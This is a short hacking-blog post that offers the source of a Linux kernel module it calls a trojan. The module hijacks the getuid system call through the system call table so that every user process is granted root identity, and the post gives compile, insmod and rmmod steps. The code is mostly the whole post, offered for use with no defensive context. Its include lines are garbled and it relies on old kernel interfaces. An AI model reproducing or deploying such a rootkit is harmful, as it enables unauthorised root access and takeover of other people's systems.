* A kernel trojan (basic linux kernel module)
*
* Description: gives all users root
* Compile: gcc -c -O3 all-root.c
* Load: insmod all-root.o
* Unload: rmmod all-root
©2012, copyright BLACK BURN
All About Hacking
#define MODULE
#define __KERNEL__
#include#include #include
#include
#include
#include
#include
#include#include #include
#include#include #include extern void *sys_call_table[];int (*orig_getuid)();int give_root()
{
int x;
if (current->uid != 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
}
return 0;
}int init_module(void)
{
orig_getuid = sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid] = give_root;return 0;
}void cleanup_module(void)
{
sys_call_table[SYS_getuid] = orig_getuid;
}
BLACK BURN Moonlit | © 2012 Design by BLACK BURN MOONLIT. Supported by Make Money Easily, 100% Grunted
0 comments:
Post a Comment